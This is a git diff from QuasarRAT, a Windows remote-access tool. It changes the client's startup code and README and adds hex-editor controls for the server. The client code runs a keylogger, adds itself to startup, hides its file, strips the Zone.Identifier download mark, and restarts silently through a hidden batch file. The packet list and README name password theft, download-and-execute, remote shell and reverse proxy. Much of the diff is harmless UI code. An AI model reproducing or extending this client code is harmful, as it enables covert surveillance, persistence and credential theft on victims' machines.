* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* This code is created by Justin Yanke.
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* No modifications made
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* Original Source:
|
||||
* https://github.com/quasar/QuasarRAT/blob/regedit/Client/Enums/RegistrySearchAction.cs
|
||||
*/
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the items to retrieve and send when searching the registry.
|
||||
/// </summary>
|
||||
[Flags]
|
||||
public enum RegistrySearchAction
|
||||
{
|
||||
Keys,
|
||||
Values,
|
||||
Data
|
||||
}
|
||||
}
|
|
@ -10,31 +10,60 @@ using xClient.Core.Data;
|
|||
using xClient.Core.Helper;
|
||||
using xClient.Core.Installation;
|
||||
using xClient.Core.Networking;
|
||||
using xClient.Core.Packets;
|
||||
using xClient.Core.Utilities;
|
||||
|
||||
namespace xClient
|
||||
{
|
||||
internal static class Program
|
||||
{
|
||||
public static Client ConnectClient;
|
||||
private static bool _reconnect = true;
|
||||
private static volatile bool _connected = false;
|
||||
public static QuasarClient ConnectClient;
|
||||
private static ApplicationContext _msgLoop;
|
||||
private static HostsManager _hosts;
|
||||
|
||||
[STAThread]
|
||||
private static void Main(string[] args)
|
||||
{
|
||||
Application.EnableVisualStyles();
|
||||
Application.SetCompatibleTextRenderingDefault(false);
|
||||
AppDomain.CurrentDomain.UnhandledException += HandleUnhandledException;
|
||||
|
||||
Settings.Initialize();
|
||||
Initialize();
|
||||
if (!ClientData.Disconnect)
|
||||
Connect();
|
||||
if (Settings.Initialize())
|
||||
{
|
||||
if (Initialize())
|
||||
{
|
||||
if (!QuasarClient.Exiting)
|
||||
ConnectClient.Connect();
|
||||
}
|
||||
}
|
||||
|
||||
Cleanup();
|
||||
Exit();
|
||||
}
|
||||
|
||||
private static void Exit()
|
||||
{
|
||||
// Don't wait for other threads
|
||||
if (_msgLoop != null || Application.MessageLoop)
|
||||
Application.Exit();
|
||||
else
|
||||
Environment.Exit(0);
|
||||
}
|
||||
|
||||
private static void HandleUnhandledException(object sender, UnhandledExceptionEventArgs e)
|
||||
{
|
||||
if (e.IsTerminating)
|
||||
{
|
||||
string batchFile = FileHelper.CreateRestartBatch();
|
||||
if (string.IsNullOrEmpty(batchFile)) return;
|
||||
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo
|
||||
{
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
UseShellExecute = true,
|
||||
FileName = batchFile
|
||||
};
|
||||
Process.Start(startInfo);
|
||||
Exit();
|
||||
}
|
||||
}
|
||||
|
||||
private static void Cleanup()
|
||||
|
@ -45,106 +74,48 @@ namespace xClient
|
|||
if (Keylogger.Instance != null)
|
||||
Keylogger.Instance.Dispose();
|
||||
if (_msgLoop != null)
|
||||
{
|
||||
_msgLoop.ExitThread();
|
||||
_msgLoop.Dispose();
|
||||
_msgLoop = null;
|
||||
}
|
||||
MutexHelper.CloseMutex();
|
||||
}
|
||||
|
||||
private static void InitializeClient()
|
||||
private static bool Initialize()
|
||||
{
|
||||
ConnectClient = new Client();
|
||||
var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));
|
||||
|
||||
ConnectClient.AddTypesToSerializer(new Type[]
|
||||
{
|
||||
typeof (Core.Packets.ServerPackets.GetAuthentication),
|
||||
typeof (Core.Packets.ServerPackets.DoClientDisconnect),
|
||||
typeof (Core.Packets.ServerPackets.DoClientReconnect),
|
||||
typeof (Core.Packets.ServerPackets.DoClientUninstall),
|
||||
typeof (Core.Packets.ServerPackets.DoDownloadAndExecute),
|
||||
typeof (Core.Packets.ServerPackets.DoUploadAndExecute),
|
||||
typeof (Core.Packets.ServerPackets.GetDesktop),
|
||||
typeof (Core.Packets.ServerPackets.GetProcesses),
|
||||
typeof (Core.Packets.ServerPackets.DoProcessKill),
|
||||
typeof (Core.Packets.ServerPackets.DoProcessStart),
|
||||
typeof (Core.Packets.ServerPackets.GetDrives),
|
||||
typeof (Core.Packets.ServerPackets.GetDirectory),
|
||||
typeof (Core.Packets.ServerPackets.DoDownloadFile),
|
||||
typeof (Core.Packets.ServerPackets.DoMouseEvent),
|
||||
typeof (Core.Packets.ServerPackets.DoKeyboardEvent),
|
||||
typeof (Core.Packets.ServerPackets.GetSystemInfo),
|
||||
typeof (Core.Packets.ServerPackets.DoVisitWebsite),
|
||||
typeof (Core.Packets.ServerPackets.DoShowMessageBox),
|
||||
typeof (Core.Packets.ServerPackets.DoClientUpdate),
|
||||
typeof (Core.Packets.ServerPackets.GetMonitors),
|
||||
typeof (Core.Packets.ServerPackets.DoShellExecute),
|
||||
typeof (Core.Packets.ServerPackets.DoPathRename),
|
||||
typeof (Core.Packets.ServerPackets.DoPathDelete),
|
||||
typeof (Core.Packets.ServerPackets.DoShutdownAction),
|
||||
typeof (Core.Packets.ServerPackets.GetStartupItems),
|
||||
typeof (Core.Packets.ServerPackets.DoStartupItemAdd),
|
||||
typeof (Core.Packets.ServerPackets.DoStartupItemRemove),
|
||||
typeof (Core.Packets.ServerPackets.DoDownloadFileCancel),
|
||||
typeof (Core.Packets.ServerPackets.GetKeyloggerLogs),
|
||||
typeof (Core.Packets.ServerPackets.DoUploadFile),
|
||||
typeof (Core.Packets.ServerPackets.GetPasswords),
|
||||
typeof (Core.Packets.ServerPackets.SetAuthenticationSuccess),
|
||||
typeof (Core.Packets.ClientPackets.GetAuthenticationResponse),
|
||||
typeof (Core.Packets.ClientPackets.SetStatus),
|
||||
typeof (Core.Packets.ClientPackets.SetStatusFileManager),
|
||||
typeof (Core.Packets.ClientPackets.SetUserStatus),
|
||||
typeof (Core.Packets.ClientPackets.GetDesktopResponse),
|
||||
typeof (Core.Packets.ClientPackets.GetProcessesResponse),
|
||||
typeof (Core.Packets.ClientPackets.GetDrivesResponse),
|
||||
typeof (Core.Packets.ClientPackets.GetDirectoryResponse),
|
||||
typeof (Core.Packets.ClientPackets.DoDownloadFileResponse),
|
||||
typeof (Core.Packets.ClientPackets.GetSystemInfoResponse),
|
||||
typeof (Core.Packets.ClientPackets.GetMonitorsResponse),
|
||||
typeof (Core.Packets.ClientPackets.DoShellExecuteResponse),
|
||||
typeof (Core.Packets.ClientPackets.GetStartupItemsResponse),
|
||||
typeof (Core.Packets.ClientPackets.GetKeyloggerLogsResponse),
|
||||
typeof (Core.Packets.ClientPackets.GetPasswordsResponse),
|
||||
typeof (Core.ReverseProxy.Packets.ReverseProxyConnect),
|
||||
typeof (Core.ReverseProxy.Packets.ReverseProxyConnectResponse),
|
||||
typeof (Core.ReverseProxy.Packets.ReverseProxyData),
|
||||
typeof (Core.ReverseProxy.Packets.ReverseProxyDisconnect)
|
||||
});
|
||||
// process with same mutex is already running
|
||||
if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect
|
||||
return false;
|
||||
|
||||
ConnectClient.ClientState += ClientState;
|
||||
ConnectClient.ClientRead += ClientRead;
|
||||
ConnectClient.ClientFail += ClientFail;
|
||||
}
|
||||
|
||||
private static void Initialize()
|
||||
{
|
||||
if (!MutexHelper.CreateMutex(Settings.MUTEX))
|
||||
ClientData.Disconnect = true; // process with same mutex is already running
|
||||
|
||||
if (ClientData.Disconnect)
|
||||
return;
|
||||
|
||||
AES.PreHashKey(Settings.PASSWORD);
|
||||
_hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));
|
||||
AES.SetDefaultKey(Settings.PASSWORD);
|
||||
ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
|
||||
GeoLocationHelper.Initialize();
|
||||
|
||||
if (_hosts.IsEmpty)
|
||||
ClientData.Disconnect = true; // no hosts to connect
|
||||
|
||||
if (ClientData.Disconnect)
|
||||
return;
|
||||
|
||||
|
||||
FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath);
|
||||
|
||||
if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath)
|
||||
{
|
||||
WindowsAccountHelper.StartUserIdleCheckThread();
|
||||
|
||||
if (Settings.STARTUP && Settings.INSTALL)
|
||||
if (Settings.STARTUP)
|
||||
{
|
||||
if (!Startup.AddToStartup())
|
||||
ClientData.AddToStartupFailed = true;
|
||||
}
|
||||
|
||||
InitializeClient();
|
||||
if (Settings.INSTALL && Settings.HIDEFILE)
|
||||
{
|
||||
try
|
||||
{
|
||||
File.SetAttributes(ClientData.CurrentPath, FileAttributes.Hidden);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
if (Settings.ENABLELOGGER)
|
||||
{
|
||||
|
@ -153,89 +124,18 @@ namespace xClient
|
|||
_msgLoop = new ApplicationContext();
|
||||
Keylogger logger = new Keylogger(15000);
|
||||
Application.Run(_msgLoop);
|
||||
}).Start();
|
||||
}) {IsBackground = true}.Start();
|
||||
}
|
||||
|
||||
ConnectClient = new QuasarClient(hosts);
|
||||
return true;
|
||||
}
|
||||
else
|
||||
{
|
||||
MutexHelper.CloseMutex();
|
||||
ClientInstaller.Install(ConnectClient);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private static void Connect()
|
||||
{
|
||||
while (_reconnect && !ClientData.Disconnect)
|
||||
{
|
||||
if (!_connected)
|
||||
{
|
||||
Thread.Sleep(100 + new Random().Next(0, 250));
|
||||
|
||||
Host host = _hosts.GetNextHost();
|
||||
|
||||
ConnectClient.Connect(host.Hostname, host.Port);
|
||||
|
||||
Thread.Sleep(200);
|
||||
|
||||
Application.DoEvents();
|
||||
}
|
||||
|
||||
while (_connected) // hold client open
|
||||
{
|
||||
Application.DoEvents();
|
||||
Thread.Sleep(2500);
|
||||
}
|
||||
|
||||
if (ClientData.Disconnect)
|
||||
{
|
||||
ConnectClient.Disconnect();
|
||||
return;
|
||||
}
|
||||
|
||||
Thread.Sleep(Settings.RECONNECTDELAY + new Random().Next(250, 750));
|
||||
}
|
||||
}
|
||||
|
||||
public static void Disconnect(bool reconnect = false)
|
||||
{
|
||||
if (reconnect)
|
||||
CommandHandler.CloseShell();
|
||||
else
|
||||
ClientData.Disconnect = true;
|
||||
ConnectClient.Disconnect();
|
||||
}
|
||||
|
||||
private static void LostConnection()
|
||||
{
|
||||
CommandHandler.CloseShell();
|
||||
}
|
||||
|
||||
private static void ClientState(Client client, bool connected)
|
||||
{
|
||||
ClientData.IsAuthenticated = false;
|
||||
|
||||
if (connected && !ClientData.Disconnect)
|
||||
_reconnect = true;
|
||||
else if (!connected && ClientData.Disconnect)
|
||||
_reconnect = false;
|
||||
else
|
||||
_reconnect = !ClientData.Disconnect;
|
||||
|
||||
if (_connected != connected && !connected && _reconnect && !ClientData.Disconnect)
|
||||
LostConnection();
|
||||
|
||||
_connected = connected;
|
||||
}
|
||||
|
||||
private static void ClientRead(Client client, IPacket packet)
|
||||
{
|
||||
PacketHandler.HandlePacket(client, packet);
|
||||
}
|
||||
|
||||
private static void ClientFail(Client client, Exception ex)
|
||||
{
|
||||
Debug.WriteLine("Exception Message: " + ex.Message);
|
||||
client.Disconnect();
|
||||
}
|
||||
}
|
||||
}
|
|
@ -30,5 +30,5 @@ using System.Runtime.InteropServices;
|
|||
// Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern
|
||||
// übernehmen, indem Sie "*" eingeben:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.1.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.1.0.0")]
|
||||
[assembly: AssemblyVersion("1.2.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.2.0.0")]
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
QuasarRAT
|
||||
=========
|
||||
<a href="https://ci.appveyor.com/project/MaxXor/quasarrat"><image src="https://ci.appveyor.com/api/projects/status/5857hfy6r1ltb5f2?svg=true" height="18"></a> [![Join the chat at https://gitter.im/quasar/QuasarRAT](https://badges.gitter.im/Join%20Chat.svg)](https://gitter.im/quasar/QuasarRAT)
|
||||
[![Build status](https://ci.appveyor.com/api/projects/status/5857hfy6r1ltb5f2?svg=true)](https://ci.appveyor.com/project/MaxXor/quasarrat) [![Join the chat at https://gitter.im/quasar/QuasarRAT](https://badges.gitter.im/Join%20Chat.svg)](https://gitter.im/quasar/QuasarRAT)
|
||||
|
||||
**Free, Open-Source Remote Administration Tool for Windows**
|
||||
|
||||
|
@ -28,6 +28,7 @@ Features
|
|||
* Keylogger (Unicode Support)
|
||||
* Reverse Proxy (SOCKS5)
|
||||
* Password Recovery (Common Browsers and FTP Clients)
|
||||
* Registry Editor
|
||||
|
||||
Requirements
|
||||
---
|
||||
|
@ -60,7 +61,6 @@ Building a client
|
|||
|
||||
ToDo
|
||||
---
|
||||
* Registry Editor ([#108](https://github.com/quasar/QuasarRAT/issues/108))
|
||||
* [Open Issues](https://github.com/quasar/QuasarRAT/issues)
|
||||
|
||||
Contributing
|
||||
|
|
|
@ -14,7 +14,7 @@ namespace xServer.Tests.Core.Encryption
|
|||
var input = FileHelper.GetRandomFilename(100);
|
||||
var password = FileHelper.GetRandomFilename(50);
|
||||
|
||||
AES.PreHashKey(password);
|
||||
AES.SetDefaultKey(password);
|
||||
|
||||
var encrypted = AES.Encrypt(input);
|
||||
|
||||
|
@ -33,7 +33,7 @@ namespace xServer.Tests.Core.Encryption
|
|||
var inputByte = Encoding.UTF8.GetBytes(input);
|
||||
var password = FileHelper.GetRandomFilename(50);
|
||||
|
||||
AES.PreHashKey(password);
|
||||
AES.SetDefaultKey(password);
|
||||
|
||||
var encryptedByte = AES.Encrypt(inputByte);
|
||||
|
||||
|
|
|
@ -0,0 +1,84 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
|
||||
namespace xServer.Controls.HexEditor
|
||||
{
|
||||
public class ByteCollection
|
||||
{
|
||||
private List<byte> _bytes;
|
||||
|
||||
#region Properties
|
||||
|
||||
public int Length
|
||||
{
|
||||
get { return _bytes.Count; }
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region Constructor
|
||||
|
||||
public ByteCollection()
|
||||
{
|
||||
_bytes = new List<byte>();
|
||||
}
|
||||
|
||||
public ByteCollection(byte[] bytes)
|
||||
{
|
||||
_bytes = new List<byte>(bytes);
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region Methods
|
||||
|
||||
public void Add(byte item)
|
||||
{
|
||||
_bytes.Add(item);
|
||||
}
|
||||
|
||||
public void Insert(int index, byte item)
|
||||
{
|
||||
_bytes.Insert(index, item);
|
||||
}
|
||||
|
||||
public void Remove(byte item)
|
||||
{
|
||||
_bytes.Remove(item);
|
||||
}
|
||||
|
||||
public void RemoveAt(int index)
|
||||
{
|
||||
_bytes.RemoveAt(index);
|
||||
}
|
||||
|
||||
public void RemoveRange(int startIndex, int count)
|
||||
{
|
||||
_bytes.RemoveRange(startIndex, count);
|
||||
}
|
||||
|
||||
public byte GetAt(int index)
|
||||
{
|
||||
return _bytes[index];
|
||||
}
|
||||
|
||||
public void SetAt(int index, byte item)
|
||||
{
|
||||
_bytes[index] = item;
|
||||
}
|
||||
|
||||
public char GetCharAt(int index)
|
||||
{
|
||||
return Convert.ToChar(_bytes[index]);
|
||||
}
|
||||
|
||||
public byte[] ToArray()
|
||||
{
|
||||
return _bytes.ToArray();
|
||||
}
|
||||
|
||||
#endregion
|
||||
}
|
||||
}
|
|
@ -0,0 +1,235 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace xServer.Controls.HexEditor
|
||||
{
|
||||
public class Caret
|
||||
{
|
||||
#region Field
|
||||
|
||||
/// <summary>
|
||||
/// Contains the start index
|
||||
/// where the caret started
|
||||
/// </summary>
|
||||
int _startIndex;
|
||||
|
||||
/// <summary>
|
||||
/// Contains the end index
|
||||
/// where the caret is
|
||||
/// currently located
|
||||
/// </summary>
|
||||
int _endIndex;
|
||||
|
||||
/// <summary>
|
||||
/// Tells if the given caret
|
||||
/// is active in the controller
|
||||
/// (control is in focus)
|
||||
/// </summary>
|
||||
bool _isCaretActive;
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// Tells if the caret is
|
||||
/// currently hidden or
|
||||
/// not (out of view)
|
||||
/// </summary>
|
||||
bool _isCaretHidden;
|
||||
|
||||
/// <summary>
|
||||
/// Holds the actual position
|
||||
/// of the caret
|
||||
/// </summary>
|
||||
Point _location;
|
||||
|
||||
private HexEditor _editor;
|
||||
|
||||
#endregion
|
||||
|
||||
#region Properties
|
||||
|
||||
public int SelectionStart
|
||||
{
|
||||
get
|
||||
{
|
||||
if (_endIndex < _startIndex)
|
||||
return _endIndex;
|
||||
return _startIndex;
|
||||
}
|
||||
}
|
||||
|
||||
public int SelectionLength
|
||||
{
|
||||
get
|
||||
{
|
||||
if (_endIndex < _startIndex)
|
||||
return _startIndex - _endIndex;
|
||||
return _endIndex - _startIndex;
|
||||
}
|
||||
}
|
||||
|
||||
public bool Focused
|
||||
{
|
||||
get { return _isCaretActive; }
|
||||
}
|
||||
|
||||
public int CurrentIndex
|
||||
{
|
||||
get { return _endIndex; }
|
||||
}
|
||||
|
||||
public Point Location
|
||||
{
|
||||
get { return _location; }
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region EventHandlers
|
||||
|
||||
public event EventHandler SelectionStartChanged;
|
||||
|
||||
public event EventHandler SelectionLengthChanged;
|
||||
|
||||
#endregion
|
||||
|
||||
#region Constructor
|
||||
|
||||
public Caret(HexEditor editor)
|
||||
{
|
||||
_editor = editor;
|
||||
_isCaretActive = false;
|
||||
_startIndex = 0;
|
||||
_endIndex = 0;
|
||||
_isCaretHidden = true;
|
||||
_location = new Point(0, 0);
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region Methods
|
||||
|
||||
#region Caret
|
||||
|
||||
private bool Create(IntPtr hWHandler)
|
||||
{
|
||||
if (!_isCaretActive)
|
||||
{
|
||||
_isCaretActive = true;
|
||||
return CreateCaret(hWHandler, IntPtr.Zero, 0, (int)_editor.CharSize.Height - 2);
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
private bool Show(IntPtr hWnd)
|
||||
{
|
||||
if (_isCaretActive)
|
||||
{
|
||||
_isCaretHidden = false;
|
||||
return ShowCaret(hWnd);
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
public bool Hide(IntPtr hWnd)
|
||||
{
|
||||
if (_isCaretActive && !_isCaretHidden)
|
||||
{
|
||||
_isCaretHidden = true;
|
||||
return HideCaret(hWnd);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
public bool Destroy()
|
||||
{
|
||||
if (_isCaretActive)
|
||||
{
|
||||
_isCaretActive = false;
|
||||
DeSelect();
|
||||
DestroyCaret();
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
public void SetStartIndex(int index)
|
||||
{
|
||||
_startIndex = index;
|
||||
_endIndex = _startIndex;
|
||||
|
||||
if (SelectionStartChanged != null)
|
||||
SelectionStartChanged(this, EventArgs.Empty);
|
||||
|
||||
if (SelectionLengthChanged != null)
|
||||
SelectionLengthChanged(this, EventArgs.Empty);
|
||||
|
||||
}
|
||||
|
||||
public void SetEndIndex(int index)
|
||||
{
|
||||
_endIndex = index;
|
||||
|
||||
if (SelectionStartChanged != null)
|
||||
SelectionStartChanged(this, EventArgs.Empty);
|
||||
|
||||
if (SelectionLengthChanged != null)
|
||||
SelectionLengthChanged(this, EventArgs.Empty);
|
||||
}
|
||||
|
||||
public void SetCaretLocation(Point start)
|
||||
{
|
||||
Create(_editor.Handle);
|
||||
_location = start;
|
||||
SetCaretPos(_location.X, _location.Y);
|
||||
Show(_editor.Handle);
|
||||
}
|
||||
|
||||
public bool IsSelected(int byteIndex)
|
||||
{
|
||||
return (SelectionStart <= byteIndex && byteIndex < (SelectionStart + SelectionLength));
|
||||
}
|
||||
|
||||
private void DeSelect()
|
||||
{
|
||||
if (_endIndex < _startIndex)
|
||||
_startIndex = _endIndex;
|
||||
else
|
||||
_endIndex = _startIndex;
|
||||
|
||||
if (SelectionStartChanged != null)
|
||||
SelectionStartChanged(this, EventArgs.Empty);
|
||||
|
||||
if (SelectionLengthChanged != null)
|
||||
SelectionLengthChanged(this, EventArgs.Empty);
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region Caret import
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
static extern bool CreateCaret(IntPtr hWnd, IntPtr hBitmap, int nWidth, int nHeight);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
static extern bool DestroyCaret();
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
static extern bool SetCaretPos(int x, int y);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
static extern bool ShowCaret(IntPtr hWnd);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
static extern bool HideCaret(IntPtr hWnd);
|
||||
|
||||
#endregion
|
||||
}
|
||||
}
|
|
@ -0,0 +1,180 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace xServer.Controls.HexEditor
|
||||
{
|
||||
public class EditView : IKeyMouseEventHandler
|
||||
{
|
||||
#region Fields
|
||||
|
||||
/// <summary>
|
||||
/// Contains the handler for the hex
|
||||
/// view.
|
||||
/// </summary>
|
||||
private HexViewHandler _hexView;
|
||||
|
||||
/// <summary>
|
||||
/// Contains the handler for the
|
||||
/// string view
|
||||
/// </summary>
|
||||
private StringViewHandler _stringView;
|
||||
|
||||
private HexEditor _editor;
|
||||
|
||||
#endregion
|
||||
|
||||
#region Contructor
|
||||
|
||||
public EditView(HexEditor editor)
|
||||
{
|
||||
_editor = editor;
|
||||
_hexView = new HexViewHandler(editor);
|
||||
_stringView = new StringViewHandler(editor);
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region KeyMouseEvent
|
||||
|
||||
#region Key
|
||||
|
||||
public void OnKeyPress(KeyPressEventArgs e)
|
||||
{
|
||||
if (InHexView(_editor.CaretPosX))
|
||||
{
|
||||
_hexView.OnKeyPress(e);
|
||||
}
|
||||
else
|
||||
{
|
||||
_stringView.OnKeyPress(e);
|
||||
}
|
||||
}
|
||||
|
||||
public void OnKeyDown(KeyEventArgs e)
|
||||
{
|
||||
if (InHexView(_editor.CaretPosX))
|
||||
{
|
||||
_hexView.OnKeyDown(e);
|
||||
}
|
||||
else
|
||||
{
|
||||
_stringView.OnKeyDown(e);
|
||||
}
|
||||
}
|
||||
|
||||
public void OnKeyUp(KeyEventArgs e)
|
||||
{ /* ... */ }
|
||||
|
||||
#endregion
|
||||
|
||||
#region Mouse
|
||||
|
||||
public void OnMouseDown(MouseEventArgs e)
|
||||
{
|
||||
if (e.Button == MouseButtons.Left)
|
||||
{
|
||||
if (InHexView(e.X))
|
||||
{
|
||||
_hexView.OnMouseDown(e.X, e.Y);
|
||||
}
|
||||
else
|
||||
{
|
||||
_stringView.OnMouseDown(e.X, e.Y);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void OnMouseDragged(MouseEventArgs e)
|
||||
{
|
||||
if (e.Button == MouseButtons.Left)
|
||||
{
|
||||
if (InHexView(e.X))
|
||||
{
|
||||
_hexView.OnMouseDragged(e.X, e.Y);
|
||||
}
|
||||
else
|
||||
{
|
||||
_stringView.OnMouseDragged(e.X, e.Y);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void OnMouseUp(MouseEventArgs e)
|
||||
{ /* ... */ }
|
||||
|
||||
public void OnMouseDoubleClick(MouseEventArgs e)
|
||||
{
|
||||
if (e.Button == MouseButtons.Left)
|
||||
{
|
||||
if (InHexView(e.X))
|
||||
{
|
||||
_hexView.OnMouseDoubleClick();
|
||||
}
|
||||
else
|
||||
{
|
||||
_stringView.OnMouseDoubleClick();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region Focus
|
||||
|
||||
public void OnGotFocus(EventArgs e)
|
||||
{
|
||||
if (InHexView(_editor.CaretPosX))
|
||||
_hexView.Focus();
|
||||
else
|
||||
_stringView.Focus();
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#endregion
|
||||
|
||||
#region UpdateActions
|
||||
public void SetLowerCase()
|
||||
{
|
||||
_hexView.SetLowerCase();
|
||||
}
|
||||
|
||||
public void SetUpperCase()
|
||||
{
|
||||
_hexView.SetUpperCase();
|
||||
}
|
||||
|
||||
public void Update(int startPositionX, Rectangle area)
|
||||
{
|
||||
_hexView.Update(startPositionX, area);
|
||||
_stringView.Update(_hexView.MaxWidth, area);
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region PaintActions
|
||||
|
||||
public void Paint(Graphics g, int startIndex, int endIndex)
|
||||
{
|
||||
for (int i = 0; (i + startIndex) < endIndex; i++)
|
||||
{
|
||||
_hexView.Paint(g, i, startIndex);
|
||||
_stringView.Paint(g, i, startIndex);
|
||||
}
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region Misc
|
||||
|
||||
private bool InHexView(int x)
|
||||
{
|
||||
return (x < (_hexView.MaxWidth + _editor.EntityMargin - 2));
|
||||
}
|
||||
|
||||
#endregion
|
||||
}
|
||||
}
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,445 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace xServer.Controls.HexEditor
|
||||
{
|
||||
public class HexViewHandler
|
||||
{
|
||||
#region Fields
|
||||
|
||||
bool _isEditing;
|
||||
|
||||
/// <summary>
|
||||
/// Contains info about how to
|
||||
/// present the hex values
|
||||
/// (Upper or Lower case)
|
||||
/// </summary>
|
||||
string _hexType = "X2";
|
||||
|
||||
/// <summary>
|
||||
/// Contains the boundary for one single
|
||||
/// hexa value that is visible
|
||||
/// </summary>
|
||||
Rectangle _recHexValue;
|
||||
|
||||
/// <summary>
|
||||
/// Contains the format of the hexadecimal
|
||||
/// strings that are presented
|
||||
/// </summary>
|
||||
StringFormat _stringFormat;
|
||||
|
||||
private HexEditor _editor;
|
||||
|
||||
#endregion
|
||||
|
||||
#region Properties
|
||||
|
||||
public int MaxWidth
|
||||
{
|
||||
get { return _recHexValue.X + (_recHexValue.Width * _editor.BytesPerLine); }
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region Constructor
|
||||
|
||||
public HexViewHandler(HexEditor editor)
|
||||
{
|
||||
_editor = editor;
|
||||
|
||||
//Set String format for the hex values
|
||||
_stringFormat = new StringFormat(StringFormat.GenericTypographic);
|
||||
_stringFormat.Alignment = StringAlignment.Center;
|
||||
_stringFormat.LineAlignment = StringAlignment.Center;
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region Method
|
||||
|
||||
#region KeyMouseEvents
|
||||
|
||||
#region KeyEvents
|
||||
|
||||
public void OnKeyPress(KeyPressEventArgs e)
|
||||
{
|
||||
if (IsHex(e.KeyChar))
|
||||
HandleUserInput(e.KeyChar);
|
||||
}
|
||||
|
||||
public void OnKeyDown(KeyEventArgs e)
|
||||
{
|
||||
if (e.KeyCode == Keys.Delete || e.KeyCode == Keys.Back)
|
||||
{
|
||||
if (_editor.SelectionLength > 0)
|
||||
{
|
||||
//Remove the selected bytes
|
||||
HandleUserRemove();
|
||||
int index = _editor.CaretIndex;
|
||||
Point newLocation = GetCaretLocation(index);
|
||||
_editor.SetCaretStart(index, newLocation);
|
||||
}
|
||||
else if (_editor.CaretIndex < _editor.LastVisibleByte && e.KeyCode == Keys.Delete)
|
||||
{
|
||||
//Remove the byte after the caret
|
||||
_editor.RemoveByteAt(_editor.CaretIndex);
|
||||
Point newLocation = GetCaretLocation(_editor.CaretIndex);
|
||||
_editor.SetCaretStart(_editor.CaretIndex, newLocation);
|
||||
}
|
||||
else if (_editor.CaretIndex > 0 && e.KeyCode == Keys.Back)
|
||||
{
|
||||
//Remove byte before the caret
|
||||
int index = _editor.CaretIndex - 1;
|
||||
if (_isEditing)
|
||||
{
|
||||
//Remove the byte that is being edited
|
||||
index = _editor.CaretIndex;
|
||||
}
|
||||
_editor.RemoveByteAt(index);
|
||||
Point newLocation = GetCaretLocation(index);
|
||||
_editor.SetCaretStart(index, newLocation);
|
||||
}
|
||||
_isEditing = false;
|
||||
}
|
||||
else if (e.KeyCode == Keys.Up && (_editor.CaretIndex - _editor.BytesPerLine) >= 0)
|
||||
{
|
||||
int index = _editor.CaretIndex - _editor.BytesPerLine;
|
||||
|
||||
//Check ig caret is att the end of the line
|
||||
if (index % _editor.BytesPerLine == 0 && _editor.CaretPosX >= _recHexValue.X + _recHexValue.Width * _editor.BytesPerLine)
|
||||
{
|
||||
Point position = new Point(_editor.CaretPosX, _editor.CaretPosY - _recHexValue.Height);
|
||||
|
||||
//check that this is not the last row (nothing above)
|
||||
if (index == 0)
|
||||
{
|
||||
//Last row do not change index and position
|
||||
position = new Point(_editor.CaretPosX, _editor.CaretPosY);
|
||||
